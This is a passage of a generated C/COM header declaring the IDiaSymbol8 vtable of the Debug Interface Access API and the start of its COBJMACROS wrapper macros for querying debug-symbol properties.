STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol8 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol8 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol8 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol8 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol8 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol8 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coroutineKind )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolKind )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolSection )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolOffset )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolRva )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolAddr )( \n            IDiaSymbol8 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol8Vtbl;\n\n    interface IDiaSymbol8\n    {\n        CONST_VTBL struct IDiaSymbol8Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol8_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol8_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol8_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol8_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol8_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol8_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol8_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol8_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol8_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol8_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol8_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol8_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol8_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol8_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol8_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol8_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol8_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol8_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol8_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol8_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol8_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol8_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol8_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol8_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol8_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol8_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol8_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol8_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol8_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol8_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol8_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol8_get_intro(This,pRetVal)\t\\\n    ( 